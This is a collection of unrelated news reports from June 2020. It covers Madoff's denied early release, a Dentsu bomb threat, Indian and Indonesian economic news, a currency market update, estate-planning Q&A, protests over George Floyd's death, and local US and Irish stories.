Attorney Brandon Sample, representing Madoff, said in a statement he was disappointed with the ruling.

He said he now hopes President Donald Trump would consider commuting the sentence.

We implore the President to personally consider Madoffs rapidly declining health," Sample said.

Prison authorities had determined Madoff was likely to die within 18 months of kidney disease. Sample had argued that Madoff was confined to a wheelchair and wanted to contest claims by prosecutors that he has failed to show remorse.

Prosecutors opposed the request, saying 500 victims opposed early release and only 20 letters were written by victims in support of release.

A trustee has recovered roughly $14 billion for investors, but the damage to victims was worsened because Madoff created fraudulent statements to suggest their investments had grown enormously, authorities said.

The fraud was exposed in December 2008 as the national economy collapsed. Madoff pleaded guilty to fraud charges and was sentenced by Chin in the summer of 2009.

Chin said in his written decision Thursday that in 2009 it was fully my intent that he live out the rest of his life in prison."

He noted that Madoff's lawyers then had asked for a sentence of as little as a dozen years, hoping their client would again see the light of day.

I was not persuaded," Chin said. I did not believe that Mr. Madoff was deserving of that hope. Nothing has happened in the 11 years since to change my thinking."
Japan's largest advertising agency, Dentsu Group Corp, has evacuated its Tokyo headquarters after receiving a bomb threat, an internal company email reviewed by Reuters showed on Friday. The company, in an email to employees, cited a message sent to its website, saying: "Warning of explosion at Dentsu's Shiodome headquarters building with deadline past 7:00 a.m. on June 7, Sunday." Dentsu confirmed it has closed the building due to a bomb threat, and said has notified the authorities. ALSO READ: Japan, South Korea factory output worsens in May ...
India has the resources it needs to become a global electronics manufacturing hub and a competitive partner to the world economy, the country's technology minister said.

The government on Tuesday introduced a $6.6 billion incentive scheme for international companies to ramp up their electronics manufacturing production in India.

"This whole scheme is industry specific, to make India a big hub of electronic manufacturing," Ravi Shankar Prasad, minister for communications, electronics and information technology, told CNBC's Tanvir Gill.

Electronics manufacturing  particularly the production and assembly of smartphones  is a cornerstone of Prime Minister Narendra Modi's "Make In India" campaign. In recent years, that's become more prominent as global tech companies are moving out of China to diversify their supply chain, going into places like Vietnam or India.

"When we talk of 'Make In India,' it does not mean India in isolation. It means an India, which is globally becoming competitive, as a partner of the global economy  India's asset in service of the global assets," he added.

Last month, Modi gave a speech underscoring the need for India to become self-reliant as the economy struggles to bounce back from the coronavirus pandemic. Some took that to mean a more protectionist India in the future.
NORWALK  Police are asking the public to help identify a man who they suspect of stealing from guests at a local hotel.

Images captured by a surveillance system at the Extended Stay Hotel, 400 Main Ave., show a man sneaking behind the reception desk around 5 a.m. on Tuesday.
STORY LINK Pound Australian Dollar (GBP/AUD) Exchange Rate Falls as Market Still Risk-on despite Historic Jobless Rate

Pound Sterling Australian Dollar (GBP/AUD) Exchange Rate Slides as ECB Action Buoys Risk Appetite

The market is risk-on despite historic levels of jobless rate. But everyone is still wary that the mood could change, and putting tight stop-loss orders. There is no strong conviction.

Sterling (GBP) Tumbles as Confidence Nears All-Time Low

With no sign of a rapid V-shaped bounce-back on the cards, consumers remain pessimistic about the state of their finances and the wider economic picture for the year to come.

As the lockdown eases, it will be interesting to see just how the consumer appetite for spending returns in a world of socially-distanced shopping and the seismic shift to online retailing.

Pound Australian Dollar Outlook: Brexit Negotiations in Focus

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The Pound Sterling Australian Dollar (GBP/AUD) exchange rate slumped by around -0.3% this morning. This left the pairing trading at around AU$1.8114.The risk-sensitive Australian Dollar was able to make gains today after the European Central Bank (ECB) announced it would be expanding its stimulus.The Euro (EUR) continued to make gains on Friday morning, which pushed the safe-haven US Dollar (USD) towards a three-month low and offered riskier assets such as the Aussie support.The Australian Dollar was able to make gains this week, and against USD hit a five-month high on Thursday.Markets were offered a further boost after yesterdays US jobless claims showed the number of Americans filing for unemployment fell below two million.This was the first time the figure has eased below two million since mid-March, although the joblessness continues to be unprecedently high compared to the peak hit during the global financial crisis.Traders will now focus on Friday afternoons US non-farm payrolls and unemployment data. Unemployment in the worlds largest economy is expected to hit levels last seen during the 1930s Great Depression.According to State Street Banks Tokyo Branch Manager, Bart Wakayabashi:The Pound edged lower against the Aussie today after data revealed sentiment amongst British consumers slumped to its lowest level since the global financial crisis last month.Data from GfK showed confidence plummeted in May as consumers were worried about a rise in unemployment and falling house prices due to Covid-19.Confidence tumbled to -36 in the second half of May, after GfK reported sentiment slumped to -34 in the first two weeks of the month. This weighed on GBP as this was not far from an all-time low of -39 hit in July 2008.Commenting on the latest confidence data, client strategy director at GfK, Joe Staton said:Looking ahead, the main focus for Sterling (GBP) this afternoon is likely to remain the ongoing post-Brexit trade negotiations between the UK and European Union.The latest round of Brexit talks is set to enter the final day with reports so far suggesting that both sides gave reached yet another impasse.Traders will be eyeing headlines today, to see whether there will be a last-minute breakthrough in discussions between London and Brussels.Any optimistic reports today suggesting the UK is likely to compromise on key issues and news negotiations continue to move forward will support GBP. This is likely to send the Pound Australian Dollar (GBP/AUD) exchange rate higher.

International Money Transfer? Ask our resident FX expert a money transfer question or try John's new, free, no-obligation personal service! ,where he helps every step of the way, ensuring you get the best exchange rates on your currency requirements.

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Q: My brother and I own some property that belonged to our parents. I want to give my half to my son now, and my brother is going to give his half to my son upon his death. Should I wait and give my half upon my death also? And if I give my half to my son now, and he and his wife divorce will the property be his or will it be considered community property?

A: If you give your half of the property to your son now, your cost basis will carry over to your son. That could be a disadvantage for him if the property has appreciated since you inherited it. If you give it to him at your death, he will have a new cost basis equal to the fair market value of the interest upon your death.

Of course, cost basis is only a concern if the property is being depreciated for tax purposes, or if your son is planning to sell the property during his lifetime.

Real estate which is acquired by gift or inheritance is owned as separate property. Therefore, it will remain as your son's separate property unless he gives his wife a portion of the property or signs an agreement converting it to community property.

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Q: I have three adult sons, each of whom has children. My will leaves my property to my sons, per stirpes. I also have my sons as payable-on-death beneficiaries on every financial account in my name, including my retirement accounts. There is no question that if one of them should predecease me, the two surviving sons would share the accounts with the children of their deceased brother. Can they do that, by distributing the accounts in the same manner that my will would have done it? My estate is $250,000 total.

A: Yes, they would be free to share the money they receive as beneficiaries with their nephews and nieces.

There is a possibility they might be required to file gift tax returns, but there is virtually no chance they will owe any gift taxes.

You should not be so certain that the two surviving sons will share their inheritance, as that is not typically what happens. People tend to keep the money and are not so willing to split it up with anyone else. Granted, your sons might be the exceptions to the rule.

If you want to be sure that the disposition of the accounts will be handled by your will, then you should change all of the accounts to individual accounts styled in your name alone. That way, they would all pass through probate according to the terms of your will.

The information in this column is intended to provide a general understanding of the law, not legal advice. Readers with legal problems, including those whose questions are addressed here, should consult attorneys for advice on their particular circumstances. Ronald Lipman of the Houston law firm Lipman & Associates is board-certified in estate planning and probate law by the Texas Board of Legal Specialization. Email questions to stateyourcase@lipmanpc.com.
Jerry Harris' whole world changed when he went from a beloved member of the Navarro College Bulldogs Cheer Team to a household staple thanks to his presence on Netflix's Cheer docuseries.

Now the 20-year-old cheerleader has delved into how he feels about being named a 'gay black icon' on an episode of Variety and iHeartRadio's The Big Ticket Podcast released Thursday.

He also chatted about being a role model for young children and how he's been coping with his new-found fame while still being a student in a small college town outside of Dallas.

Moving on up: Jerry Harris (right) delved into how he feels about being named a 'gay black icon' on an episode of Variety and iHeartRadio's The Big Ticket Podcast released Thursday

BET labeled Jerry 'the gay black icon we need in 2020' back in February, following Cheer's January 8 premiere on Netflix.

Though he was honored at the time, the designation also came with its own responsibilities.

'Just hearing that from them makes me so happy because I love BET,' he told host Marc Malkin.

'I definitely feel like it is a lot of pressure to live up to, but I want to be that person that everyone knows that can handle it and doesnt let it get the best of me or take me from who I am,' he said.

Honored: 'Just hearing that from them makes me so happy because I love BET. I definitely feel like it is a lot of pressure to live up to, but I want to be that person that everyone knows that can handle it and doesnt let it get the best of me or take me from who I am'; shown in January

Jerry also hoped that his higher profile might make him a role model for younger people still struggling with their sexuality.

'I want to be someone thats fearless, thats confident to others, and thats confident to themselves and believes in themselves, and just to tell them you can be who you want to be, and you can be who you are, because you are perfect and you are enough for anyone.'

As for his new celebrity status, it didn't sink in until he 'first started traveling' across the country for media appearances, 'like when we went to go be on Ellen.'

'We got off the airplane and people came up to us and were just talking to us and saying, We love you. Can we get a picture?"' he explained.

Leading the way: Harris hopes to be a role model for younger gay kids. 'I want to be someone thats fearless, thats confident to others, and thats confident to themselves and believes in themselves...' he said; shown in January

Though he's getting used to his new profile, the reality star revealed there are still times when it shocks him, though the coronavirus pandemic has temporarily put his upward trajectory on hold.

'I feel like I had a lot of that when [Cheer] first happened, and it honestly would probably happen a lot more even today, but in quarantine it doesnt really feel like anything. I used to have it so much when I was back in school, just doing my thing. It would happen like almost every time I would wake up.'

Jerry suffered a crushing tragedy at the age of 16 when his mother died of lung cancer, but he likes to think she's still keeping abreast of his success.

'I feel like shes very, very happy and excited for everything thats been going on, and shes really loving it,' he said.

'I know shes telling me to always stay humble, because she doesnt want to see me get a big head.'
Fulfilling the President's Generous Commitment to Provide Critical Medical Supplies Across the Globe

Press Statement

Michael R. Pompeo, Secretary of State

June 4, 2020



The United States has been the largest contributor to global health security and humanitarian assistance for more than a half century, saving lives all over the planet. In the face of the COVID-19 pandemic, we have truly mobilized as a nation to combat the virus, both at home and abroad, committing more than $11 billion for the international COVID-19 response.

Today, the United States is announcing more than $194 million in new assistance, including nearly $180 million to support the purchase of ventilators. In addition, the United States is providing more than $14 million in new humanitarian assistance to support refugees, vulnerable migrants, and host communities affected by the COVID-19 pandemic.

Consistent with our values, the American people are not just delivering ventilators, but ensuring proper training, equipment, and support measures are in place for countries to both receive and effectively use the ventilators to save lives. Our talented teams are working with Ministries of Health and in-country partners to create distribution plans at the facility level that consider factors such as the availability of electricityensuring these state-of-the-art machines will provide relief for people who critically need it.

In addition to direct shipments, we continue to encourage our partner countries to increase their domestic production of ventilators, face masks, and other Personal Protective Equipment. In Israel, a U.S.-supported hospital has partnered with the private sector to invent a high-flow respirator  importantly, the open source designs can be downloaded for free for assembly anywhere in the world. In Colombia, a graduate of the U.S.-sponsored Academy for Women Entrepreneurs converted her business to make face masks and other protective gear available to her community. In Egypt, a U.S.-funded startup has pivoted to produce face shields for local medical workers.

Once again, in each corner of the globe, American innovation and private enterprise is leading the way.

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The Reserve Bank of India has announced the creation of a Payments Infrastructure Development Fund (PIDF) to encourage acquirers to deploy Points of Sale (PoS) infrastructure (both physical and digital modes) in tier-3 to tier-6 centres and northeastern states.

"Over the years, payments ecosystem in the country has evolved with a wide range of options such as bank accounts, mobile phones, cards, etc. To provide further fillip to the digitisation of payment systems, it is necessary to give impetus to acceptance infrastructure across the country, more so in underserved areas," the central bank said.

The Reserve Bank of India will make an initial contribution of Rs 250 crore to the fund, covering half the fund, and the remaining contribution will be done by card-issuing banks and other card networks operating in the country.

Also read: Rs 2 lakh crore blow to banks if interest during loan moratorium waived, RBI cautions SC

The PIDF will also receive recurring contributions to cover operational expenses from card-issuing banks and card networks, the RBI circular says. "The Reserve Bank of India will also contribute to yearly shortfalls, if necessary. The PIDF will be governed through an Advisory Council and managed and administered by Reserve Bank," the central bank said.

Also read: Consumer confidence plunges in May; GDP likely to contract by 1.5% in FY21, says RBI survey

In a separate development, the central bank, in its recent survey, has said the consumer confidence in the country collapsed to record low in May amid uncertainty due to COVID-19 outbreak. The RBI said expectation on the general economic situation and employment scenario also turned pessimistic, indicating a bumpy road ahead for the Indian economy.

"Consumer confidence plunged in May, with the Current Situation Index (CSI) hitting historic low and the one year ahead Future Expectations Index (FEI) also recording a sharp fall, entering the zone of pessimism, as per the Consumer Confidence Survey (CCS)," the central bank said.
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Linkedin Riska Rahman (The Jakarta Post) Jakarta  Fri, June 5, 2020 18:26 595 fc6853813033f564188675f8bdc7a298 1 Business capital-inflows,foreign-investors,capital-market,rupiah,lockdown,PSBB,large-scale-social-restrictions,COVID-19,coronavirus Free

Foreign investors are starting to put their money back into Indonesian assets as countries around the world begin to ease their COVID-19 restrictions, spurring hopes of a global economic recovery.

Foreign investors bought a total of Rp 8 trillion (US$564.3 million) in Indonesian stocks throughout last month, Financial Services Authority (OJK) data show. In the past week alone, they bought Rp 3.39 trillion stocks more than they sold. Indonesias sovereign debt market also saw an influx of foreign money last month as the OJK recorded net foreign buys of Rp 7.07 trillion in May.

The capital inflows boosted the rupiah 8.7 percent in the past month, reaching Rp 13,877 per United States dollar on Friday afternoon. The Jakarta Composite Index (JCI) benchmark stock gauge gained nearly 5 percent within a month. The 10-year sovereign bond yield also declined significantly to 7.1 percent from 8.02 percent in early May, indicating a decline in risk in investing in the instrument, as bond yields move in the opposite direction of stock prices.

The global market is seeing an abundance of liquidity because central banks in developed countries have been injecting money to support their economies during the COVID-19 pandemic crisis, BNI Sekuritas economist Damhuri Nasution told The Jakarta Post.

The capital inflow is therefore caused mainly by external sentiment, he added.

Read also: Once taboo, investors begin to imagine negative US rates

As the coronavirus outbreak takes its toll on the economy, the US Federal Reserve pledged in March that it would conduct large-scale purchases of Treasuries and mortgage-backed securities with an open-ended commitment as a way to pump more money into the economy, Reuters reported.

The European Central Bank (ECB) also launched in March its Pandemic Emergency Purchase Programme (PEPP), which has an overall fund of 750 billion euros, until the end of 2020. The money will be used to buy private and public sector securities to counter the economic impact of the COVID-19 pandemic.

Investors, however, did not quickly jump at the chance of investing in high-yielding assets such as those in Indonesia following the pump from central banks, as many countries imposed mobility restrictions that brought their economies to a standstill in a bid to stop the spread of the coronavirus. Investors have regained their optimism, however, as several countries like Italy and Australia relaxed their lockdown measures, said Damhuri.

The relaxing of mobility restrictions is sparking optimism among investors that the coronavirus is under control and that the global economy is starting to emerge back to normal, he added.

Read also: Jakarta starts easing restrictions as places of worship reopen

Such optimism has sent foreign investors on a buying spree of Indonesian blue-chip banking stocks such as Bank Rakyat Indonesia (BRI), Bank Central Asia (BCA) and Bank Mandiri during the past week, driving up the JCI gains.

The buying spree was caused by the fact that investors started to lower their risk perception of Indonesias economy even though the country has yet to fully open its economy, Trimegah economist Fakhrul Fulvian told the Post.

The governments plan to reopen some regions that are deemed safe could engender positive sentiment in the countrys capital market, said Fakhrul. Several red zone regions including Jakarta and West Java have continued their large-scale social restrictions (PSBB) as the numbers of confirmed coronavirus cases remain high.

Damhuri warned that the government should keep a close eye on how the PSBB relaxation could also pose a threat and reverse the positive sentiment in the market.

Read also: 'I don't think we can wait': Business groups ready for 'new normal' despite risks

If the people are not disciplined, we could face a second wave of the outbreak that could lead to another PSBB in the future like what happened in South Korea, he said.

South Korea recently re-implemented strict lockdown measures in the capital Seoul until June 14 following a spike in new coronavirus cases after it allowed bars and restaurants to reopen.

Damhuri went on to say that the government should conduct a thorough consideration before easing the restrictions to minimize the possibility of a second wave.

Read also: Easing restrictions? Not so fast, experts say

Meanwhile, Fakhrul suggested the government reduce the countrys current account deficit (CAD) to help stabilize the economy and maintain the positive investor sentiment in the long term.

Bank Indonesia (BI) recorded a CAD of US$3.9 billion, 1.4 percent of gross domestic product (GDP) in the first quarter of this year, down from 2.8 percent of GDP in the previous quarter. The narrowing deficit was caused by falling imports and a dwindling deficit in services as a result of the pandemic.
By Azernews





By Akbar Mammadov

Moscow stands for a political settlement of the protracted Nagorno-Karbakh conflict, the Russian Foreign Ministry Spokeswoman Maria Zakharova said in a briefing on June 4.

Commenting on Russias efforts to ensure peace and stability in the regions and, in particular, the issues of a peaceful settlement of the Armenian-Azerbaijani conflict, Zakharova noted:

We stand for a political settlement of this already protracted crisis through negotiations. We will do our best as a neighbouring country, as a country that has a long history of friendship, interaction and cooperation with these countries, sovereign states, in order to make our constructive contribution not only as a state but also as an intermediary participating in the work of the corresponding group.

She also emphasized that although there are no fundamental changes in the conflict resolution she remains optimist.

Azerbaijan and Armenia are locked in a conflict over Azerbaijans Nagorno-Karabakh breakaway region, which along with seven adjacent regions was occupied by Armenian forces in a war in the early 1990s. More than 20,000 Azerbaijanis were killed and around one million were displaced as a result of the large-scale hostilities.

The OSCE Minsk Group co-chaired by the United States, Russia and France has been mediating the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994. The Minsk Groups efforts have resulted in no progress and to this date, Armenia has failed to abide by the UN Security Council resolutions (822, 853, 874 and 884) that demand the withdrawal of Armenian military forces from the occupied territories of Azerbaijan.
A top official of the state Department of Education who narrowly lost a bid to become state superintendent of education two weeks ago has submitted her resignation, officials said Wednesday.

Jessica Baghian, assistant state superintendent of education and a nine-year veteran of the agency, spelled out her plans in a letter to acting state Superintendent of Education Beth Scioneaux.

A top education official announces her bid to be Louisiana's superintendent of education Jessica Baghian, a top lieutenant for state Superintendent of Education John White, said Thursday morning she has applied for the job White is

"I am writing with a great sense of pride and gratitude to share that my last day at the Department of Education will be Friday, June 12," Baghian said in a letter dated June 2.

Baghian, 35, finished second to Cade Brumley, superintendent of the Jefferson Parish school system, when Louisiana's top school board made its state superintendent choice on May 20.

In the second round of voting, Baghian got six of the eight votes she needed on the 11-member state Board of Elementary and Secondary Education.

+3 Cade Brumley, Jefferson Parish schools leader, named Louisiana superintendent of education Cade Brumley, superintendent of the Jefferson Parish school system, was named state superintendent of education Wednesday after two tense roun

Brumley, 39, then got eight votes for the job, which he begins Monday.

Baghian said she is friends with Brumley and that he asked her to remain at the department.

She said Wednesday she is exploring options for her next job.

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Baghian was a key aide to former state Superintendent of Education John White and previously served as deputy chief of staff and assistant state superintendent of education for assessments and accountability.

Her current title is assistant state superintendent of education and chief academic policy officer and she is paid $166,000 per year.

Baghian has played a major role in state efforts to improve early childhood education, including a recent push to expand access to state subsidies for low-income families to help defray some of the costs of day care while parents work, attend school or undergo job training.

New problem for child care providers? Getting teachers to work for pay less than unemployment State officials said Tuesday day care centers already reeling because of the coronavirus pandemic face a new challenge: How to lure teachers w

She also crafted and implemented the state's method of issuing letter grades to public schools, a move aimed at making the ratings understandable to parents and students.

Jim Garvey, a Metairie attorney who supported Baghian for superintendent, said while he understands her decision he is sorry to see her leave the department.

"One of the reasons she put her hat in the ring for superintendent was because she was ready to move on to bigger challenges," said Garvey, the longest serving member of BESE.

BESE President Sandy Holloway, who backed Brumley for the job, said in an email that Baghian "is an innovative, nationally-recognized leader in K-12 and early childhood policy and program development."

Baghian, a Sulphur native, got her undergraduate degree from LSU and a law degree from Harvard Law School.
THIS time of year primary school children normally cant wait for their summer holidays, but due to Covid-19 they are looking forward to getting back in the classroom.

The photo on the far right is of seven-year-old Lia Clifford outside St Moluas National School, Ardagh. The poignant photo was taken by her grandmother, photographer Bridie Murphy.

My granddaughter was constantly mentioning that she missed her school and her teacher and her friends. Lia was very anxious to see the place again. So one evening I treated her to a trip to the school.

The range of emotions she went through surprised me. From the excitement of pointing out her classroom to me and her chair in the exact place that she had left it, to sadness on showing me the usual spots she played in with her friends, said Bridie, who tells stories through photographs.

Lia made me aware of how much children are missing the school routine so I set out to capture that emotion in order to have a record to look back on in years to come, said Bridie.

The Leader asked Lia what does she miss most about school?

Being able to play with my friends and my cousin Yvonne, said Lia.

Does she ever think she will give out about going to school again?

Well, probably on the first day back because I hate first days and Mondays. We have to do loads of work on Mondays! she smiles.

Lia says she will be excited and a little bit scared on her first day back in September because I might have to start over and do first class all over again and I really dont want to do that!

I shouldnt have to because I have all the work done. We get so much work now. We have to do schoolwork and homework every day!

Bridie also took a picture of sisters Ellie and Mai OSullivan at their primary school in Carrickerry. Ellie is in sixth class and leaving her five classmates without saying goodbye, while Mai started in junior infants last September. Ellie said not being able to finish school with her friends is very hard.

Its a milestone we are missing out on. Its going to be very strange as out of the six students in my class there are only two of us going to the same secondary school and I am the only girl going, said Ellie.

These experiences are shared by thousands of boys and girls across the county.
Faces 240 years in prison

A Rock Springs man is facing a potential 240-year prison sentence if found guilty of possessing child pornography.

James Adam Gehring, 34, of Rock Springs, is charged with 24 felony counts of sexual exploitation of children.

We are aware of approximately 2,000 images of child pornography, Teresa Thybo, chief deputy Sweetwater County attorney said during Gehrings initial appearance hearing Friday afternoon.

Thybo said the state decided not to charge for each alleged pornographic image because it would have overloaded their system, opting to file 24 charges instead. Each count carrie...
SYDNEY  An Australian court sided with police in ruling Friday that a Black Lives Matter protest planned for Sydney poses too much risk for spreading the coronavirus and cannot be held.

Thousands of people were expected to rally in Australias largest city on Saturday afternoon to honor George Floyd and to protest against the deaths of indigenous Australians in custody.

But New South Wales state Supreme Court Justice Des Fagan ruled the rally was not an authorized public assembly. Fagan said he understood the rally was designed to coincide with similar events in other countries.

I dont diminish the importance of the issues and no one would deny them in normal circumstances, he said. No one denies them that but were talking about a situation of a health crisis.

In Sydney, outdoor gatherings are restricted to 10 people, while up to 50 people can go to funerals, places of worship, restaurants, pubs and cafes.

State Premier Gladys Berejiklian said organizers initially proposed a protest far smaller rally. She said protesters could not guarantee social distancing protocols would be followed.

All of us have given up so much and worked so hard to make sure we get on top of the virus, Berejiklian told reporters.

Earlier Friday, demonstrators in the capital reminded the country that racial inequality is not a U.S. issue alone.

Organizers of the Canberra rally that attracted about 2,000 demonstrators handed out masks and hand sanitizer. Most protesters kept a recommended social distance but drew closer to hear speeches. Public gatherings are limited to 20 in Canberra, but police did not intervene.

School teacher Wendy Brookman, a member of the Butchulla indigenous people, said Australia should not accept that more than 430 indigenous Australians have died in police custody or prison in the past three decades.

Were not here to jump on the bandwagon of whats happened in the United States, Brookman said. Were here to voice whats happening to our indigenous people.

One of the protesters signs read I cant breathe and drew a parallel between Floyds death in the U.S. on May 25 and the Australian indigenous experience. Those words were among the last spoken by Floyd and an indigenous Australian, David Dungay, who died in a prison hospital in 2015 while being restrained by five guards.

In South Korea, dozens gathered in front of the U.S. Embassy to condemn what they described as police brutality toward protesters in the U.S. They called for South Koreas government to speak against the racial discrimination and state violence of its ally and pushed for an anti-discrimination law to improve the lives of migrant workers, undocumented foreigners and other minorities.

As the U.S. civil society empowered and stood in solidarity with Korean pro-democracy activists in the past, we will now stand in solidarity with citizens in the United States, said activist Lee Sang-hyun, referring to South Koreans bloody struggles against military dictatorships that ruled the country until the late 1980s.

Holding a banner that read Justice for Floyd, most of the protesters wore black and some brought flowers in honor of Floyd, who died after a white Minneapolis police officer pressed his neck with a knee for several minutes while he pleaded for air.

Larger marches are planned in Seoul on Saturday to protest Floyds death.
"I chose her for two reasons," says Winocour. "Firstly, I think shes already like a kind of space person. It is not a coincidence she has been in so many Burton movies, you know; she has this strangeness and grace that is really something to me. "Those astronauts that Ive met, of course they are becoming space persons. That is what the training is about; they are kind of mutants. Conditions in space are so bad they have to mutate, but at the same time they have a kind of strangeness, they are obsessional, they are looking at the stars all the time. "Eva has this. At the same time, I think she was credible as a warrior. Because astronauts are warriors, you know." The other reason proves more difficult to unpick. Winocour wanted Green partly  but specifically  because she didnt have children.

"I thought it was interesting to see her, not the usual type of mother you see in cinema. There is this idea of the perfect mother, but you can be different kinds of mother. I thought maybe she would be not so comfortable with the little girl and that would be interesting, how to show that." An astronaut's ambition is complicated by her relationship with her daughter in Proxima. Credit:Madman Films There is no sense of discomfort, however, as Green scoops her young co-star up in one arm for a publicity photograph on the hotel balcony, wriggling and giggling. Green has said she feels about 12 inside. Perhaps she is not so much mother material as a potential sister. But there are, as Winocour says herself, many ways of mothering. "I think its time cinema talked about this," she says. "Super-heroines in films have no children. No children to divert them from the mission. But in real life, those women have children and they have to deal with it. And even if things are changing, most of the time they do most of the childcare or they feel more responsible for it and they have these feelings of guilt and they have to live with them."

From left, Eva Green, Alice Winocour and Zaline Boulant-Lemesle attend the 'Proxima' photocall during the San Sebastian Film Festival in September 2019. Credit:Getty Images Winocour herself has a 10-year-old daughter. The space stations psychologist tells Sarah that just as there are no perfect astronauts, there are no perfect mothers; for Winocour, it is the key line in the film. It is a hard road, however. Stella must watch her mother through glass as she trains in a sterile environment; Sarah is told, as real astronauts are, to write her child a goodbye letter. All going well, Stella will see her board a rocket and disappear into the sky. If things go one better, Sarah will come back. "Its exhilarating, but its also like dying; the little girl is all alone," says Winocour. "But to me, it is also a liberation. Proxima in Spanish means the next one. It is also a story of transmission. "What do you want to transmit to your daughter? Is it better to be this perfect mother who doesnt exist, or to give also this example of freedom and fulfilling your dreams?"

As Stella, Zelie Boulant-Lemesle must watch as her mother blasts off into space. Credit:Madman Films The dream has its own difficulties. Everything in the space industry has been designed with men in mind, from the broad-shouldered suits to the chain of command. Sarahs superior, Mike (Matt Dillon), welcomes her to the team by saying he expects that a French woman will be a great cook; when theyre alone, he tells her shes just a space tourist. Researching the film at a base in Kazakhstan, Green noticed that while men routinely showed pictures of wives and children to their workmates, women didnt. "Its the same thing in big companies," says Winocour. "Even for me as a director, I never talk about my daughter. Because if you talk about your children, it means the job will not be well done, you will have to leave earlier, all of that stuff." The first question anyone asks her about making Proxima, says Winocour, is what astronauts are like as people. It was the first question she asked herself.
The search for business prospects was just getting into full swing when the COVID-19 pandemic hit the country.

Mike Fox, executive director of the Plainview-Hale County Economic Development Corporation, told the Hale County Commissioners on Friday that hed had a chance to attend just one of the major prospect fairs before the country started shutting down to control the spread of the coronavirus.

We walked away with 22 leads, he said.

Because of the restraints in place for businesses as a result of the virus, theres been little to do in the way of recruiting business prospects to the county. The first quarter of the year was a busy one for Fox, regardless.

Coronavirus hit Plainview in March and the EDC has been working with local entities and with the Plainview Area United Way to help provide support for individuals, families and businesses through these times. The EDC is also working with city officials on an economic development study to determine housing needs for Plainview, Fox told the Commissioners Court during a work session on Friday.

He noted that hes also been working with a marketing company to help generate more leads for economic development.

Fox told the Court there are still two strong business prospects in his pipeline. As more of the country continues to open, he hopes to solidify those and other deals to boost local economic development.

Following the presentation of Foxs quarterly report, the commissioners also heard a proposal from a representative of Germblast, a Lubbock-based company that specializes in disinfecting facilities, particularly health facilities and schools.

The representative presented plans to the Court to sanitize four county facilities. The court is set to review the proposal and vote on it during its regular meeting on Monday at 9 a.m.

Those two presentations took up the bulk of the meeting. Other topics discussed included a resolution regarding the United States Census. Hale County Judge David Mull said the resolution simply encourages people to participate.

The Census, he said, is important because it helps determine government representation.

The Court is set to review and vote on those and these other items on Monday. Those interested can watch the meetings on the Hale County, Texas Commissioners Court YouTube page:

 Discussion of COVID-19

 Purchase of equipment for COVID-19

 CARES

 Financial and run reports for Petersburg and Hale Center EMS

 The 2021 budget calendar

 Request for security screens at the District Clerks Office

 Update on the phone and internet bill

 Review speed limit signs on county-maintained paved roads in precinct four

 Review auction items for precinct four

 Items regarding dumpsters in Seth Ward and the Parade of Breeds

 Personnel hire in the county attorneys office
Aegis School of Data Science is organizing the 3rd edition of Data Science Congress (DSC) which will be a virtual event on 6 and 7 June 2020. The event is supported by Federation of Indian Chambers of Commerce & Industry (FICCI) as chamber partner along with mUni Campus as powered partner and also DSC supports Safe n Happy Periods which is creating awareness on shamefree and painfree menstruation time.

DSC 2020 is a confluence of Artificial Intelligence, Data Science, Analytics, Big Data, Machine Learning, Internet of Things, Cognitive, and Cyber Security. Data Science Congress was initiated in 2017 with a vision of bringing India at the center stage of the world forum for AI, Data Science, Cyber Security research, education, and skill development as India is having the largest pool of talents exposed to math and coding skills which are essential for these exponential technologies.

In DSC 2020, the world authorities, leading researchers, AI experts, Data Scientists will be speaking and over 10,000 educators, engineers, CXO's, CTO, CEOs, students are likely to join the event.

Honble Minister Shri Sanjay Dhotre, Union Minister of State for Human Resource Development, Communications and Electronics & Information Technology, Government of India will be inaugurating the event.

The speakers and contributors enlightening the topics are the creme de la creme of the data industry:

Prof. Anil D. Sahasrabudhe, Chairman AICTE

Dr. Vint Cerf, Father of Internet

Dr Juergen Schmidhuber, Father of Modern Artificial Intelligence

Justice BN Srikrishna, Chief Architect of India;s 1st data protection bill

Dr. Rohini Srivathsa, National Technology Officer (CTO) - Microsoft India

Rama Akkiraju, Master Inventor and IBM Fellow

Dr. Dina Zielinski will showcase how we can store digital data in DNA

Mathangi Sri, Data Science Leader; Top 10 Data Scientists in India; 20 Patents

For more speakers list, please visit https://www.datasciencecongress.com

Honble Minister Shri Sanjay Dhotre, Union Minister of State for Human Resource Development, Communications and Electronics & Information Technology, Government of India said New technologies like AI, Robotics, Machine Learning, and Data Analytics have tremendous potential waiting to be tapped. These could be the key components towards building economy that brings quantum jump. These are the building blocks of Atmanirbhar Bharat.

Dr Abhijit Gangopadhyay, Dean, Aegis School of Data Science said, Considering the current unprecedented situation around the world, Data Science Congress this year will be a virtual event and so the pivot was to get the best of the content. With the current assembly of speakers which are prime, pre-eminent and celebrated in their respective spheres, we are confident that this virtual event will be a treat to all the data admirers. Come join us on 6th and 7th June 2020

Prof Anil Sahasrabudhe,Chairman AICTE commented Data is the new oil in new digital economy. Hence people who know data science and data analytics will provide solutions to future challenges, be it pandemic, banking, insurance, education, agriculture or healthcare.

We initiated Data Science Congress with a vision of making India as a world leader in research, education, and skill development in the fields of AI, Data Science, Analytics, IoT, and Cyber Security. India can lead as we are having the largest pool of talent with maths and coding skills which are essential for these exponential technologies, commented Mr Bhupesh Daheria, Founder of Data Science Congress; Founder Director of mUni Campus.

COVID  19 and the lock down has fast tracked the use and development on new uses cases for data analytics across industry and society. While the data science market will continue to grow in India, there will also be an emergence of industry / society -specific analytics use cases, and a need of skilled professionals in terms of technology, its application and policy. FICCI will be delighted to engage with all stakeholders to establish India as a global hub of data science and analytics said Mr. Dilip Chenoy, Secretary General, FICCI.
I have written a number of blog posts in the past about the amazing organization founded by Harvard undergraduates called Coding it Forward, which recruits students for summer tech internships, sponsored by participating agencies, in the federal government. The idea is to offer an untypical summer internship  Coding if Forward doesnt allow jobs installing SharePoint in agencies, the typical summer tech internship in government they saw on the USAJobs website at the time. The lead founder, a graduating senior named Chris Kuang, will now be working fulltime for the organization.

Recently Harvard made an amazing announcement. This years Presidents Innovation Challenge, an annual university award honoring student innovation, was given to Coding it Forward in the category of "Social Impact or Cultural Enterprise."

The Presidents Innovation Challenge grows out of something called the Harvard Innovation Lab (I lab), established in 2011 by then-Harvard President Drew Faust. In the background was that eras startup frenzy that took undergrads by storm -- and a worry that Harvard, which traditionally didnt even have an undergrad engineering major, was being left in the dust by its Cambridge neighbor MIT. The move was seen as an effort by Harvard to establish a strong footprint in the startup world.

